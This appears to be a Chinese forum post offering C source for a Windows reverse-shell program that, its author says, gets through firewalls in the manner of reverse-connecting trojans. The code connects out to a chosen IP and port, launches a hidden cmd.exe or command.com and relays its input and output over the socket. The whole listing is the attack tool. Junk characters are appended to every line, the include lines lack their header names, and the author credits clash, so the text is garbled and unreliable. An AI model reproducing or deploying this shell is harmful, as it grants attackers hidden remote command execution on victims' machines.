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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }PpUAt~g  
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/* ============================== A%-6`>  
Rebound port in Windows NT % u6Sr5A[s  
By wind,2006/7 &m vSiyKX  
===============================*/ WEpoBP CL  
#include ,u!sjx  
#include $od7;%  
!!y a  
#pragma comment(lib,"wsock32.lib") wQLSf{2  
OrG).^l  
void OutputShell(); -{A<.a3P}=  
SOCKET sClient; 2?i7 UvV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NEF# }s2=  
\j.:3X r  
void main(int argc,char **argv) WPDyu.QD  
{ ^C%<l( b  
WSADATA stWsaData; mV m Gg,  
int nRet; 8>%hz$no=  
SOCKADDR_IN stSaiClient,stSaiServer; 'f|o{  
A\;U3Zu  
if(argc != 3) \[nut;  
{ CQ2jP G*py  
printf("Useage:\n\rRebound DestIP DestPort\n"); {:W$LWET  
return; JN6B~ZNf  
} CH/rp4NeSy  
y_9Ds>p!T  
WSAStartup(MAKEWORD(2,2),&stWsaData); k_R"CKd  
F<w/PMb  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jq-_4}w?C  
bN88ua}k{  
stSaiClient.sin_family = AF_INET; Np)lIGE  
stSaiClient.sin_port = htons(0); { "E\Jcjl\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GH xp7H  
h7I{ 4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D3A/l  
{ u2[w#   
printf("Bind Socket Failed!\n"); ,Lt[\_  
return; 4`R(?  
} R FH0  
t0I{q0  
stSaiServer.sin_family = AF_INET; 4Xv*wB1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); IIqUZJ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &VcV$8k  
l NBL4yM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Tb-F]lg$  
{ w`=\5Oa.G  
printf("Connect Error!");  7[wieYj{  
return; m#F`] {  
} EZ`{Wnbq  
OutputShell(); O| hpXkV  
} A+)`ZTuO  
OUXR  
void OutputShell() n-OL0$Xu  
{ as_PoCoss  
char szBuff[1024]; @OHm#`~  
SECURITY_ATTRIBUTES stSecurityAttributes; :/Qq@]O>  
OSVERSIONINFO stOsversionInfo; 1!gbTeVlY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1'\/,Es  
STARTUPINFO stStartupInfo; 6JQ'Ik;$wX  
char *szShell; = 9]~ yt  
PROCESS_INFORMATION stProcessInformation; OydwE  
unsigned long lBytesRead; r>U@3%0&  
?I@W:#>o  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xZv#Es%#  
YUIi;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VU d\QR-  
stSecurityAttributes.lpSecurityDescriptor = 0; I 2|Bg,e  
stSecurityAttributes.bInheritHandle = TRUE; W{gb:^;zb  
_f:W?$\ho  
$p?aVO  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IobD3:D8W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \K!VNB>h  
Z/;aT -N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (*)hD(C5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w)Qp?k d  
stStartupInfo.wShowWindow = SW_HIDE; /RC7"QzL  
stStartupInfo.hStdInput = hReadPipe; ^M>P:~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *ppffz  
EJNU761  
GetVersionEx(&stOsversionInfo); YV anW  
P(z++A&  
switch(stOsversionInfo.dwPlatformId) ';=O 0)u  
{ ?m? ::RH  
case 1: DZ PPJ2}  
szShell = "command.com"; 5,6"&vU,  
break; 3x'|]Ns  
default: BKjS ,2C  
szShell = "cmd.exe"; xx%j.zDI]  
break; ` v@m-j6  
} (c &mCJN  
@wNG{Stj  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (rm?jDm   
[}0haTYc4  
send(sClient,szMsg,77,0); !NvI:C_4|  
while(1) oHn Ky[1  
{ #Kex vP&*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6.nCV 0xA  
if(lBytesRead)  DwE[D]7o  
{ iVq'r4S  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hVAn>_(  
send(sClient,szBuff,lBytesRead,0); 8ek@: Mw  
} 0 e ~JMUb  
else :Cs4NF   
{ cZU=o\  
lBytesRead=recv(sClient,szBuff,1024,0); F {4bo$~>  
if(lBytesRead<=0) break; x vl#w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /,&<6c-Q@W  
} %JD,$p Ps  
} gANuBWh8T  
O6a<`]F  
return; (WO]Xq<  
}
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